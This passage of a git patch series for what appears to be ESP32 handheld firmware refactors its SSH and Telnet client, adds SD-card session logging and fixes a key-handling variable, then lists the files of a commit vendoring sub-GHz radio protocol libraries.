-                    commandBuffer.trim();
-                    if (commandBuffer.substring(2) == "cls") {
-                        drawMainBorderWithTitle("SSH");
-                        tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
-                        tft.setCursor(10, BORDER_PAD_Y + FM * LH);
-                        tft.print("> ");
-                        commandBuffer = "> ";
+                    tft.print(c);
+                }
+
+                if (sendTab) {
+                    String pendingInput = getBufferedCommandInput();
+                    String liveInput = getTerminalLiveInput();
+                    bool remoteLineAlreadyActive = !liveInput.isEmpty();
+                    if (!remoteLineAlreadyActive) setTerminalLiveInput(pendingInput);
+                    withClientLock([&]() { awaitingTabDebugResponse = true; });
+                    if (!remoteLineAlreadyActive && !pendingInput.isEmpty())
+                        queueSessionCommand(pendingInput);
+                    queueSessionCommand(String('\t'));
+                }
+
+                if (key.del) EscPress = false;
+                if (key.del) {
+                    size_t promptLength = getCommandPromptLength();
+                    if (commandBuffer.length() > promptLength) {
+                        commandBuffer.remove(commandBuffer.length() - 1);
+                        setTerminalLiveInput(getBufferedCommandInput());
+                        tft.setCursor(tft.getCursorX() - 6, tft.getCursorY());
+                        tft.print(" ");
+                        tft.setCursor(tft.getCursorX() - 6, tft.getCursorY());
                     } else {
-                        String message =
-                            commandBuffer.substring(2) + "\r"; // Get the command part, exclude the "> "
-                        ssh_channel_write(channel_ssh, message.c_str(), message.length()); // Send the command
+                        setTerminalLiveInput("");
+                        queueSessionCommand(String(char(0x7f)));
                     }
-                    cursorY = tft.getCursorY(); // Update cursor position
-                    if (cursorY > tftHeight) {
-                        tft.setCursor(0, tftHeight - 10);
-                        tft.fillRect(0, tftHeight - 11, tftWidth, 11, bruceConfig.bgColor);
+                } else if (key.enter) {
+                    String input = getBufferedCommandInput();
+                    String liveInput = getTerminalLiveInput();
+                    if (input == "cls" || input == "clear") {
+                        clearTerminalPendingState();
+                        resetClientScreen(title.c_str());
+                    } else if (!liveInput.isEmpty()) {
+                        setPendingEchoSuppression(liveInput);
+                        queueSessionCommand("\r");
+                    } else {
+                        setPendingEchoSuppression(input);
+                        queueSessionCommand(input + "\r");
                     }
+                    setTerminalLiveInput("");
+                    resetCommandBufferToPrompt();
+                    ensureCursorOnFreshLine();
                 }
             }
         }
-
 #else
         if (check(SelPress)) {
+            while (check(SelPress)) { yield(); }
+            String message = keyboard("cls", 76, title + " Command:");
+            while (check(SelPress)) { yield(); }
 
-            while (check(SelPress)) { yield(); } // timerless debounce
-            message = keyboard("cls", 76, "SSH Command: ");
-            while (check(SelPress)) { yield(); } // timerless debounce
             if (message == "cls") {
-                drawMainBorderWithTitle("SSH");
-                tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
-                tft.setCursor(10, BORDER_PAD_Y + FM * LH);
-                tft.print("> ");
+                resetClientScreen(title.c_str());
             } else {
-                message += "\r";
-                ssh_channel_write(channel_ssh, message.c_str(), message.length()); // Send the command
-                log_d("%s", message);
+                queueSessionCommand(message + "\r");
+                tft.setTextColor(TFT_GREEN, bruceConfig.bgColor);
+                tft.println("> " + message);
+                tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
             }
 
-            commandBuffer = "> " + message;
-            tft.setCursor(10, tft.getCursorY());
-            tft.setTextSize(FP);
+            resetCommandBufferToPrompt();
+            renderPrompt();
         }
-
 #endif
 
-        // Read data from SSH server and display it, handling ANSI sequences
-        nbytes = ssh_channel_read_nonblocking(channel_ssh, buffer, sizeof(buffer), 0);
-
-        if (nbytes > 0) {
-            String msg = "";
-            tft.setTextColor(TFT_WHITE);
-            for (int i = 0; i < nbytes; ++i) {
-                msg += char(buffer[i]);
-                if (buffer[i] == '\r') continue; // Ignore carriage return
-                tft.write(buffer[i]);
-                if (tft.getCursorY() > tftHeight - 20) {
-                    drawMainBorderWithTitle("SSH");
-                    tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
-                    tft.setCursor(10, BORDER_PAD_Y + FM * LH);
-                    tft.setTextColor(bruceConfig.secColor);
-                    tft.print(commandBuffer); // Move to the next line on display
-                    tft.setTextColor(TFT_WHITE);
-                }
-                if (tft.getCursorX() == 0) tft.setCursor(10, tft.getCursorY());
-                cursorY = tft.getCursorY();
-            }
-            log_d("%s", msg);
-
-            cursorY = tft.getCursorY(); // Update cursor position
-            if (cursorY > tftHeight) {
-                tft.setCursor(0, tftHeight - 10);
-                tft.fillRect(0, tftHeight - 11, tftWidth, 11, bruceConfig.bgColor);
-            }
-            commandBuffer = "> "; // Reset command buffer
-            tft.setTextColor(TFT_GREEN);
-        }
-
-        // Handle channel closure and other conditions
-        if (nbytes < 0 || ssh_channel_is_closed(channel_ssh)) {
-            log_d("Encerrando");
+        if (check(EscPress) && isDelPressed == false) {
+            if (isSessionConnecting()) { displayWarning("Closing session...", false); }
             break;
         }
+        vTaskDelay(pdMS_TO_TICKS(20));
     }
-    // Clean Up
-    ssh_channel_close(channel_ssh);
-    ssh_channel_free(channel_ssh);
-    ssh_disconnect(my_ssh_session);
-    ssh_free(my_ssh_session);
-    check(SelPress); // Reset Button
-    displayWarning("SSH session closed.", true);
-    tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
-    returnToMenu = true;
-    enableCore0WDT();
-#if SOC_CPU_CORES_NUM > 1
-    enableCore1WDT();
-#endif
-    enableLoopWDT();
-    feedLoopWDT();
-    vTaskDelete(NULL);
+
+    finishSessionUi(title);
 }
+} // namespace
 
-String telnet_server_string = "";
-String telnet_port_string = "";
-char *telnet_server_ip;
-char *telnet_server_port_char;
+char *stringTochar(String s) {
+    static char arr[128];
+    memset(arr, 0, sizeof(arr));
+    s.toCharArray(arr, sizeof(arr));
+    return arr;
+}
 
-int telnet_server_port;
+void ssh_setup(String host) {
+    if (!wifiConnected) wifiConnectMenu();
+    if (!initClientMutex()) {
+        displayError("SSH mutex creation failed.", true);
+        returnToMenu = true;
+        return;
+    }
 
-static int sock;
+    resetClientScreen("SSH");
+    if (host != "") {
+        ssh_host = host;
+    } else {
+        String my_net =
+            WiFi.gatewayIP().toString().substring(0, WiFi.gatewayIP().toString().lastIndexOf(".") + 1);
+        ssh_host = keyboard(my_net, 100, "SSH HOST (IP or Hostname)");
+    }
 
-void telnet_loop() {
-    struct sockaddr_in dest_addr;
-    dest_addr.sin_addr.s_addr = inet_addr(telnet_server_ip);
-    dest_addr.sin_family = AF_INET;
-    dest_addr.sin_port = htons(telnet_server_port);
+    ssh_port = num_keyboard("22", 5, "SSH PORT");
+    ssh_user = keyboard("", 76, "SSH USER");
+    ssh_password = keyboard("", 76, "SSH PASSWORD", true);
 
-    sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
-    if (sock < 0) {
-        Serial.println("Unable to create socket");
-        tft.setTextColor(TFT_RED, bruceConfig.bgColor);
-        displayRedStripe("Unable to create socket", true);
-        tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
+    IPAddress resolvedIp;
+    if (WiFi.hostByName(ssh_host.c_str(), resolvedIp)) {
+        ssh_host = resolvedIp.toString();
+    } else {
+        displayError("Failed to resolve hostname.", true);
+        Serial.printf("Failed to resolve hostname: %s", ssh_host.c_str());
+        returnToMenu = true;
         return;
     }
 
-    if (connect(sock, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != 0) {
-        Serial.println("Socket connection failed");
-        tft.setTextColor(TFT_RED, bruceConfig.bgColor);
-        displayRedStripe("Socket connection failed", true);
-        tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
-        close(sock);
-        return;
-    }
+    sessionHost = ssh_host;
+    sessionUser = ssh_user;
+    sessionPort = static_cast<uint16_t>(ssh_port.toInt());
 
-    Serial.println("Connected to TELNET server");
-    drawMainBorderWithTitle("TELNET");
-    tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
-    tft.setCursor(10, BORDER_PAD_Y + FM * LH);
+    resetClientState(ClientProtocol::SSH);
+    TaskHandle_t workerHandle = nullptr;
+    xTaskCreate(sshWorkerTask, "SSH Task", SSH_TASK_STACK_SIZE, nullptr, 1, &workerHandle);
+    setClientTaskHandle(workerHandle);
 
-    String commandInput;
+    if (workerHandle == nullptr) {
+        displayError("SSH Task creation failed.", true);
+        returnToMenu = true;
+        return;
+    }
 
-    while (1) {
-        tft.setCursor(10, tft.getCursorY());
-        tft.print("> ");
-        // waitForInput(commandInput);
-        commandInput = keyboard("", 76, "COMMAND");
-        drawMainBorderWithTitle("TELNET");
-        tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
-        tft.setCursor(10, BORDER_PAD_Y + FM * LH);
-        tft.println("> " + commandInput);
-        const char *command = commandInput.c_str();
-        send(sock, command, strlen(command), 0);
-
-        // You can also receive data from the server
-        char buffer[128];
-        int len = recv(sock, buffer, sizeof(buffer) - 1, 0);
-        if (len > 0) {
-            buffer[len] = '\0';
-            // Check for Telnet negotiation commands (IAC)
-            /*
-if (buffer[0] == 0xFF) {
-    // Skip Telnet negotiation command
-    continue;
+    runSessionUiLoop("SSH");
 }
-*/
-            tft.setTextColor(TFT_WHITE, bruceConfig.bgColor);
-            Serial.printf("Received from server %s\n", buffer);
-            // tft.printf("Received from server %s\n", buffer);
-            for (int i = 0; i < len; i++) { Serial.printf("%02X ", buffer[i]); }
-            tft.setCursor(10, tft.getCursorY());
-            tft.printf("%s\n", buffer);
 
-            tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
-        }
+void ssh_loop(void *pvParameters) { sshWorkerTask(pvParameters); }
 
-        vTaskDelay(1000 / portTICK_PERIOD_MS);
-    }
-}
+void telnet_loop() { telnetWorkerTask(nullptr); }
 
 void telnet_setup() {
     if (!wifiConnected) wifiConnectMenu();
+    if (!initClientMutex()) {
+        displayError("Telnet mutex creation failed.", true);
+        returnToMenu = true;
+        return;
+    }
 
-    drawMainBorderWithTitle("TELNET");
-    tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
-    tft.setCursor(10, BORDER_PAD_Y + FM * LH);
-    Serial.begin(115200); // Initialize serial communication for debugging
-    Serial.println("Starting Setup");
+    resetClientScreen("TELNET");
+    Serial.begin(115200);
+    Serial.println("Starting Telnet Setup");
 
-    // auto cfg = M5.config();
-    // M5Cardputer.begin(cfg, true);
-    tft.setRotation(bruceConfigPins.rotation);
-    tft.setTextSize(FP); // Set text size
+    telnet_server_string = keyboard("", 76, "TELNET_SERVER");
+    telnet_port_string = num_keyboard("23", 5, "TELNET PORT");
+    telnet_server_port = telnet_port_string.toInt();
 
-    cursorY = tft.getCursorY();
+    IPAddress resolvedIp;
+    if (WiFi.hostByName(telnet_server_string.c_str(), resolvedIp)) {
+        sessionHost = resolvedIp.toString();
+    } else {
+        displayError("Failed to resolve hostname.", true);
+        returnToMenu = true;
+        return;
+    }
 
-    tft.setCursor(10, tft.getCursorY());
-    // tft.print("TELNET Host: \n");
+    sessionPort = static_cast<uint16_t>(telnet_server_port);
+    resetClientState(ClientProtocol::Telnet);
+    TaskHandle_t workerHandle = nullptr;
+    xTaskCreate(telnetWorkerTask, "Telnet Task", 4096, nullptr, 1, &workerHandle);
+    setClientTaskHandle(workerHandle);
 
-    // Here the telnet_server_ip needs to be a char*, thats why the stringTochar()
+    if (workerHandle == nullptr) {
+        displayError("Telnet Task creation failed.", true);
+        returnToMenu = true;
+        return;
+    }
 
-    // waitForInput(telnet_server_string);
-    telnet_server_string = keyboard("", 76, "TELNET_SERVER");
-    telnet_server_ip = stringTochar(telnet_server_string);
-    delay(300);
-    // Serial.println(telnet_server_ip);
-
-    // tft.print("TELNET Port: \n");
-    // waitForInput(telnet_port_string);
-    telnet_port_string = num_keyboard("", 76, "TELNET PORT");
-    delay(300);
-    char arr2[5];
-    // telnet_server_port_char =
-    telnet_port_string.toCharArray(arr2, sizeof(arr2));
-    // telnet_server_port_char = stringTochar(telnet_port_string);
-    telnet_server_port = atoi(arr2);
-    Serial.println(telnet_server_ip);
-    Serial.println(telnet_server_port);
-
-    telnet_loop();
+    runSessionUiLoop("TELNET");
 }
 #endif

From f26eea441ba01c5f1fc197e6ce659b62bbe9f8a0 Mon Sep 17 00:00:00 2001
From: Pirata <bmorcelli@gmail.com>
Date: Sat, 23 May 2026 02:54:43 -0300
Subject: [PATCH 58/73] Logging

---
 src/modules/wifi/clients.cpp | 101 ++++++++++++++++++++++++++++++++++-
 1 file changed, 100 insertions(+), 1 deletion(-)

diff --git a/src/modules/wifi/clients.cpp b/src/modules/wifi/clients.cpp
index e57fc6161..c87fe13d7 100644
--- a/src/modules/wifi/clients.cpp
+++ b/src/modules/wifi/clients.cpp
@@ -9,6 +9,7 @@
 
 #include "core/display.h"
 #include "core/mykeyboard.h"
+#include "core/sd_functions.h"
 #include "core/wifi/wifi_common.h"
 #include <Arduino.h>
 #include <errno.h>
@@ -57,6 +58,9 @@ SemaphoreHandle_t clientStateMutex = nullptr;
 TaskHandle_t clientTaskHandle = nullptr;
 
 ClientProtocol activeProtocol = ClientProtocol::None;
+File sessionLogFile;
+bool sessionLogEnabled = false;
+String sessionLogPath = "";
 String queuedCommand = "";
 String queuedOutput = "";
 String queuedPromptPrefix = "> ";
@@ -89,6 +93,41 @@ bool initClientMutex() {
     return clientStateMutex != nullptr;
 }
 
+const char *getProtocolName(ClientProtocol protocol) {
+    switch (protocol) {
+        case ClientProtocol::SSH: return "SSH";
+        case ClientProtocol::Telnet: return "Telnet";
+        default: return "Terminal";
+    }
+}
+
+String sanitizeSessionLogComponent(String value) {
+    value.trim();
+    if (value.isEmpty()) return "unknown";
+
+    for (size_t i = 0; i < value.length(); ++i) {
+        char c = value[i];
+        bool allowed = isAlphaNumeric(c) || c == '.' || c == '-' || c == '_';
+        if (!allowed) value.setCharAt(i, '_');
+    }
+    return value;
+}
+
+void closeSessionLogUnlocked() {
+    if (sessionLogFile) {
+        sessionLogFile.flush();
+        sessionLogFile.close();
+    }
+    sessionLogEnabled = false;
+    sessionLogPath = "";
+}
+
+void appendSessionLogUnlocked(const char *data, size_t len) {
+    if (!sessionLogEnabled || !sessionLogFile || data == nullptr || len == 0) return;
+    sessionLogFile.write(reinterpret_cast<const uint8_t *>(data), len);
+    sessionLogFile.flush();
+}
+
 template <typename Fn> void withClientLock(Fn &&fn) {
     if (clientStateMutex && xSemaphoreTake(clientStateMutex, portMAX_DELAY)) {
         fn();
@@ -96,6 +135,50 @@ template <typename Fn> void withClientLock(Fn &&fn) {
     }
 }
 
+void appendSessionLog(const String &text) {
+    if (text.isEmpty()) return;
+    withClientLock([&]() { appendSessionLogUnlocked(text.c_str(), text.length()); });
+}
+
+void appendSessionCommandToLog(const String &command) {
+    if (command.isEmpty()) return;
+    appendSessionLog("\n[CLIENT] " + command + "\n");
+}
+
+void startSessionLog(ClientProtocol protocol) {
+    withClientLock([&]() {
+        closeSessionLogUnlocked();
+
+        if (!sdcardMounted) return;
+
+        if (!SD.exists("/Bruce")) SD.mkdir("/Bruce");
+        if (!SD.exists("/Bruce/Terminal")) SD.mkdir("/Bruce/Terminal");
+
+        String basePath = "/Bruce/Terminal/" + String(getProtocolName(protocol)) + "-" +
+                          sanitizeSessionLogComponent(sessionHost);
+        for (uint16_t index = 1; index < 10000; ++index) {
+            String candidate = basePath + "_" + String(index) + ".log";
+            if (SD.exists(candidate)) continue;
+
+            sessionLogFile = SD.open(candidate, FILE_WRITE);
+            if (!sessionLogFile) return;
+
+            sessionLogEnabled = true;
+            sessionLogPath = candidate;
+
+            String header = "=== Bruce Terminal Session ===\n";
+            header += "Protocol: " + String(getProtocolName(protocol)) + "\n";
+            header += "Host: " + sessionHost + "\n";
+            if (!sessionUser.isEmpty()) header += "User: " + sessionUser + "\n";
+            header += "Port: " + String(sessionPort) + "\n";
+            header += "Started at millis: " + String(millis()) + "\n";
+            header += "==============================\n";
+            appendSessionLogUnlocked(header.c_str(), header.length());
+            return;
+        }
+    });
+}
+
 void setClientTaskHandle(TaskHandle_t handle) {
     withClientLock([&]() { clientTaskHandle = handle; });
 }
@@ -108,6 +191,7 @@ TaskHandle_t getClientTaskHandle() {
 
 void resetClientState(ClientProtocol protocol) {
     withClientLock([&]() {
+        closeSessionLogUnlocked();
         activeProtocol = protocol;
         queuedCommand = "";
         queuedOutput = "";
@@ -160,6 +244,8 @@ void appendSessionOutput(const char *data, size_t len) {
     if (len == 0 || data == nullptr) return;
     withClientLock([&]() {
         queuedOutput.reserve(queuedOutput.length() + len);
+        String normalizedOutput = "";
+        normalizedOutput.reserve(len);
         for (size_t i = 0; i < len; ++i) {
             uint8_t raw = static_cast<uint8_t>(data[i]);
             char c = static_cast<char>(raw);
@@ -200,8 +286,10 @@ void appendSessionOutput(const char *data, size_t len) {
                 }
             }
             if (c == '\r') {
-                if (!queuedOutput.isEmpty() && queuedOutput[queuedOutput.length() - 1] != '\n')
+                if (!queuedOutput.isEmpty() && queuedOutput[queuedOutput.length() - 1] != '\n') {
                     queuedOutput += '\n';
+                    normalizedOutput += '\n';
+                }
                 previousOutputWasCR = true;
                 continue;
             }
@@ -213,7 +301,9 @@ void appendSessionOutput(const char *data, size_t len) {
             if (c == '\t') c = ' ';
             if (raw < 0x20 && c != '\n') continue;
             queuedOutput += c;
+            normalizedOutput += c;
         }
+        appendSessionLogUnlocked(normalizedOutput.c_str(), normalizedOutput.length());
     });
 }
 
@@ -659,6 +749,9 @@ void finishSessionUi(const String &title) {
     String status = getSessionStatus();
     if (status.isEmpty()) { status = (title == "SSH") ? "SSH session closed." : "Telnet session closed."; }
 
+    appendSessionLog("\n[STATUS] " + status + "\n");
+    withClientLock([&]() { closeSessionLogUnlocked(); });
+
     if (didSessionFail()) displayError(status, true);
     else displayWarning(status, true);
 
@@ -1023,6 +1116,8 @@ void runSessionUiLoop(const String &title) {
                 } else if (key.enter) {
                     String input = getBufferedCommandInput();
                     String liveInput = getTerminalLiveInput();
+                    String loggedCommand = !liveInput.isEmpty() ? liveInput : input;
+                    appendSessionCommandToLog(loggedCommand);
                     if (input == "cls" || input == "clear") {
                         clearTerminalPendingState();
                         resetClientScreen(title.c_str());
@@ -1046,8 +1141,10 @@ void runSessionUiLoop(const String &title) {
             while (check(SelPress)) { yield(); }
 
             if (message == "cls") {
+                appendSessionCommandToLog(message);
                 resetClientScreen(title.c_str());
             } else {
+                appendSessionCommandToLog(message);
                 queueSessionCommand(message + "\r");
                 tft.setTextColor(TFT_GREEN, bruceConfig.bgColor);
                 tft.println("> " + message);
@@ -1123,6 +1220,7 @@ void ssh_setup(String host) {
         return;
     }
 
+    startSessionLog(ClientProtocol::SSH);
     runSessionUiLoop("SSH");
 }
 
@@ -1167,6 +1265,7 @@ void telnet_setup() {
         return;
     }
 
+    startSessionLog(ClientProtocol::Telnet);
     runSessionUiLoop("TELNET");
 }
 #endif

From f1aeb040250f69b8018ae67a2fc314fc80257183 Mon Sep 17 00:00:00 2001
From: Pirata <bmorcelli@gmail.com>
Date: Sat, 23 May 2026 03:02:31 -0300
Subject: [PATCH 59/73] isDelPressed

---
 src/modules/wifi/clients.cpp | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/src/modules/wifi/clients.cpp b/src/modules/wifi/clients.cpp
index c87fe13d7..ea4c2c461 100644
--- a/src/modules/wifi/clients.cpp
+++ b/src/modules/wifi/clients.cpp
@@ -1062,10 +1062,11 @@ void runSessionUiLoop(const String &title) {
     while (!returnToMenu && !isSessionClosed()) {
         String output = takeQueuedOutput();
         if (!output.isEmpty()) { renderSessionOutput(title, output); }
+        bool isDelPressed = false;
 
 #ifdef HAS_KEYBOARD
         keyStroke key = _getKeyPress();
-        bool isDelPressed = key.del;
+        isDelPressed = key.del;
         if (key.pressed) {
             unsigned long currentMillis = millis();
             if (currentMillis - lastKeyPressMillis >= debounceDelay) {

From 96bf8afa313babafb572bc4a778b04238939f961 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?John=2E=20Sabb=C3=A1?= <victorsabba@gmail.com>
Date: Sat, 23 May 2026 09:24:54 -0300
Subject: [PATCH 60/73] =?UTF-8?q?=F0=9F=92=A5=20NEW:=20Fluxo=20Rx=20e=20pr?=
 =?UTF-8?q?otocolos?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../lilygo-t-embed-cc1101.ini                 |    1 +
 gen_mqjs_headers.py                           |    1 -
 lib/mquickjs_headers/mqjs_stdlib.build.sha256 |    2 +-
 lib/subghz_unleashed_bridge/library.json      |   78 +
 lib/subghz_unleashed_bridge/src/subghz        |    1 +
 .../include/core/check.h                      |    6 +
 .../include/core/log.h                        |    6 +
 .../include/flipper_format/flipper_format.h   |    1 +
 .../include/flipper_format/flipper_format_i.h |    1 +
 lib/subghz_unleashed_compat/include/furi.h    |   73 +
 .../include/furi_hal.h                        |   16 +
 .../include/furi_hal_rtc.h                    |   16 +
 .../lib/flipper_format/flipper_format.h       |   53 +
 .../lib/flipper_format/flipper_format_i.h     |    1 +
 .../include/lib/toolbox/level_duration.h      |   34 +
 .../include/lib/toolbox/manchester_decoder.h  |   35 +
 .../include/lib/toolbox/manchester_encoder.h  |   36 +
 .../include/lib/toolbox/stream/stream.h       |   26 +
 lib/subghz_unleashed_compat/include/m-algo.h  | 1240 ++++
 lib/subghz_unleashed_compat/include/m-array.h | 1154 ++++
 lib/subghz_unleashed_compat/include/m-core.h  | 5857 +++++++++++++++++
 lib/subghz_unleashed_compat/include/m-list.h  | 1618 +++++
 .../include/mlib/m-algo.h                     | 1240 ++++
 .../include/mlib/m-array.h                    | 1154 ++++
 .../include/mlib/m-atomic.h                   |  307 +
 .../include/mlib/m-bitset.h                   | 1003 +++
 .../include/mlib/m-bptree.h                   | 1983 ++++++
 .../include/mlib/m-bstring.h                  |  616 ++
 .../include/mlib/m-buffer.h                   | 1337 ++++
 .../include/mlib/m-core.h                     | 5857 +++++++++++++++++
 .../include/mlib/m-deque.h                    | 1154 ++++
 .../include/mlib/m-dict.h                     | 2302 +++++++
 .../include/mlib/m-funcobj.h                  |  415 ++
 .../include/mlib/m-generic.h                  |  317 +
 .../include/mlib/m-genint.h                   |  244 +
 .../include/mlib/m-i-list.h                   |  670 ++
 .../include/mlib/m-list.h                     | 1618 +++++
 .../include/mlib/m-prioqueue.h                |  541 ++
 .../include/mlib/m-queue.h                    |  340 +
 .../include/mlib/m-rbtree.h                   | 1176 ++++
 .../include/mlib/m-serial-bin.h               |  552 ++
 .../include/mlib/m-serial-json.h              | 1175 ++++
 .../include/mlib/m-shared-ptr.h               | 1416 ++++
 .../include/mlib/m-snapshot.h                 |  806 +++
 .../include/mlib/m-string.h                   | 2886 ++++++++
 .../include/mlib/m-thread.h                   |  772 +++
 .../include/mlib/m-tree.h                     | 1580 +++++
 .../include/mlib/m-try.h                      |  629 ++
 .../include/mlib/m-tuple.h                    |  813 +++
 .../include/mlib/m-variant.h                  |  889 +++
 .../include/mlib/m-worker.h                   |  714 ++
 .../include/storage/storage.h                 |    8 +
 .../include/toolbox/stream/stream.h           |    1 +
 lib/subghz_unleashed_compat/library.json      |    8 +
 .../src/manchester_decoder.c                  |   33 +
 .../src/manchester_encoder.c                  |   51 +
 .../src/subghz_compat.cpp                     |  296 +
 .../src/subghz_keystore_compat.cpp            |  156 +
 lib/subghz_unleashed_vendor/README.md         |    9 +
 lib/subghz_unleashed_vendor/UPSTREAM_PIN.txt  |    5 +
 lib/subghz_unleashed_vendor/library.json      |   10 +
 .../src/subghz/SConscript                     |   41 +
 .../src/subghz/blocks/const.h                 |   20 +
 .../src/subghz/blocks/custom_btn.c            |   51 +
 .../src/subghz/blocks/custom_btn.h            |   30 +
 .../src/subghz/blocks/custom_btn_i.h          |   18 +
 .../src/subghz/blocks/decoder.c               |   27 +
 .../src/subghz/blocks/decoder.h               |   47 +
 .../src/subghz/blocks/encoder.c               |   56 +
 .../src/subghz/blocks/encoder.h               |   67 +
 .../src/subghz/blocks/generic.c               |  215 +
 .../src/subghz/blocks/generic.h               |  123 +
 .../src/subghz/blocks/math.c                  |  244 +
 .../src/subghz/blocks/math.h                  |  222 +
 .../src/subghz/devices/cc1101_configs.c       |  553 ++
 .../src/subghz/devices/cc1101_configs.h       |   24 +
 .../cc1101_int/cc1101_int_interconnect.c      |   99 +
 .../cc1101_int/cc1101_int_interconnect.h      |    8 +
 .../src/subghz/devices/device_registry.h      |   13 +
 .../src/subghz/devices/devices.c              |  242 +
 .../src/subghz/devices/devices.h              |   52 +
 .../src/subghz/devices/preset.h               |   14 +
 .../src/subghz/devices/registry.c             |   77 +
 .../src/subghz/devices/registry.h             |   40 +
 .../src/subghz/devices/types.h                |   98 +
 .../src/subghz/environment.c                  |  127 +
 .../src/subghz/environment.h                  |  124 +
 .../src/subghz/protocols/aes_common.c         |  252 +
 .../src/subghz/protocols/aes_common.h         |   10 +
 .../src/subghz/protocols/alutech_at_4n.c      |  931 +++
 .../src/subghz/protocols/alutech_at_4n.h      |  108 +
 .../src/subghz/protocols/ansonic.c            |  344 +
 .../src/subghz/protocols/ansonic.h            |  109 +
 .../src/subghz/protocols/base.c               |   77 +
 .../src/subghz/protocols/base.h               |   88 +
 .../src/subghz/protocols/beninca_arc.c        |  688 ++
 .../src/subghz/protocols/beninca_arc.h        |  108 +
 .../src/subghz/protocols/bett.c               |  333 +
 .../src/subghz/protocols/bett.h               |  109 +
 .../src/subghz/protocols/bin_raw.c            | 1150 ++++
 .../src/subghz/protocols/bin_raw.h            |  110 +
 .../src/subghz/protocols/came.c               |  386 ++
 .../src/subghz/protocols/came.h               |  109 +
 .../src/subghz/protocols/came_atomo.c         |  868 +++
 .../src/subghz/protocols/came_atomo.h         |  112 +
 .../src/subghz/protocols/came_twee.c          |  465 ++
 .../src/subghz/protocols/came_twee.h          |  109 +
 .../src/subghz/protocols/chamberlain_code.c   |  505 ++
 .../src/subghz/protocols/chamberlain_code.h   |  109 +
 .../src/subghz/protocols/clemsa.c             |  362 +
 .../src/subghz/protocols/clemsa.h             |  109 +
 .../src/subghz/protocols/dickert_mahs.c       |  386 ++
 .../src/subghz/protocols/dickert_mahs.h       |  120 +
 .../src/subghz/protocols/ditec_gol4.c         |  742 +++
 .../src/subghz/protocols/ditec_gol4.h         |  109 +
 .../src/subghz/protocols/doitrand.c           |  355 +
 .../src/subghz/protocols/doitrand.h           |  109 +
 .../src/subghz/protocols/dooya.c              |  444 ++
 .../src/subghz/protocols/dooya.h              |  109 +
 .../src/subghz/protocols/elplast.c            |  322 +
 .../src/subghz/protocols/elplast.h            |  109 +
 .../src/subghz/protocols/faac_slh.c           |  795 +++
 .../src/subghz/protocols/faac_slh.h           |  113 +
 .../src/subghz/protocols/feron.c              |  351 +
 .../src/subghz/protocols/feron.h              |  109 +
 .../src/subghz/protocols/gangqi.c             |  490 ++
 .../src/subghz/protocols/gangqi.h             |  109 +
 .../src/subghz/protocols/gate_tx.c            |  331 +
 .../src/subghz/protocols/gate_tx.h            |  109 +
 .../src/subghz/protocols/hay21.c              |  494 ++
 .../src/subghz/protocols/hay21.h              |  109 +
 .../src/subghz/protocols/hollarm.c            |  495 ++
 .../src/subghz/protocols/hollarm.h            |  109 +
 .../src/subghz/protocols/holtek.c             |  370 ++
 .../src/subghz/protocols/holtek.h             |  109 +
 .../src/subghz/protocols/holtek_ht12x.c       |  413 ++
 .../src/subghz/protocols/holtek_ht12x.h       |  109 +
 .../src/subghz/protocols/honeywell.c          |  437 ++
 .../src/subghz/protocols/honeywell.h          |  109 +
 .../src/subghz/protocols/honeywell_wdb.c      |  389 ++
 .../src/subghz/protocols/honeywell_wdb.h      |  109 +
 .../src/subghz/protocols/hormann.c            |  339 +
 .../src/subghz/protocols/hormann.h            |  109 +
 .../src/subghz/protocols/ido.c                |  231 +
 .../src/subghz/protocols/ido.h                |   74 +
 .../src/subghz/protocols/intertechno_v3.c     |  486 ++
 .../src/subghz/protocols/intertechno_v3.h     |  111 +
 .../src/subghz/protocols/jarolift.c           |  786 +++
 .../src/subghz/protocols/jarolift.h           |  108 +
 .../src/subghz/protocols/keeloq.c             | 1713 +++++
 .../src/subghz/protocols/keeloq.h             |  110 +
 .../src/subghz/protocols/keeloq_common.c      |  142 +
 .../src/subghz/protocols/keeloq_common.h      |  103 +
 .../src/subghz/protocols/kinggates_stylo_4k.c |  752 +++
 .../src/subghz/protocols/kinggates_stylo_4k.h |  110 +
 .../src/subghz/protocols/legrand.c            |  379 ++
 .../src/subghz/protocols/legrand.h            |  117 +
 .../src/subghz/protocols/linear.c             |  345 +
 .../src/subghz/protocols/linear.h             |  109 +
 .../src/subghz/protocols/linear_delta3.c      |  349 +
 .../src/subghz/protocols/linear_delta3.h      |  109 +
 .../src/subghz/protocols/magellan.c           |  523 ++
 .../src/subghz/protocols/magellan.h           |  109 +
 .../src/subghz/protocols/marantec.c           |  417 ++
 .../src/subghz/protocols/marantec.h           |  117 +
 .../src/subghz/protocols/marantec24.c         |  352 +
 .../src/subghz/protocols/marantec24.h         |  109 +
 .../src/subghz/protocols/mastercode.c         |  367 ++
 .../src/subghz/protocols/mastercode.h         |  109 +
 .../src/subghz/protocols/megacode.c           |  427 ++
 .../src/subghz/protocols/megacode.h           |  109 +
 .../src/subghz/protocols/nero_radio.c         |  456 ++
 .../src/subghz/protocols/nero_radio.h         |  109 +
 .../src/subghz/protocols/nero_sketch.c        |  374 ++
 .../src/subghz/protocols/nero_sketch.h        |  109 +
 .../src/subghz/protocols/nice_flo.c           |  335 +
 .../src/subghz/protocols/nice_flo.h           |  109 +
 .../src/subghz/protocols/nice_flor_s.c        |  987 +++
 .../src/subghz/protocols/nice_flor_s.h        |  111 +
 .../src/subghz/protocols/phoenix_v2.c         |  688 ++
 .../src/subghz/protocols/phoenix_v2.h         |  109 +
 .../src/subghz/protocols/power_smart.c        |  392 ++
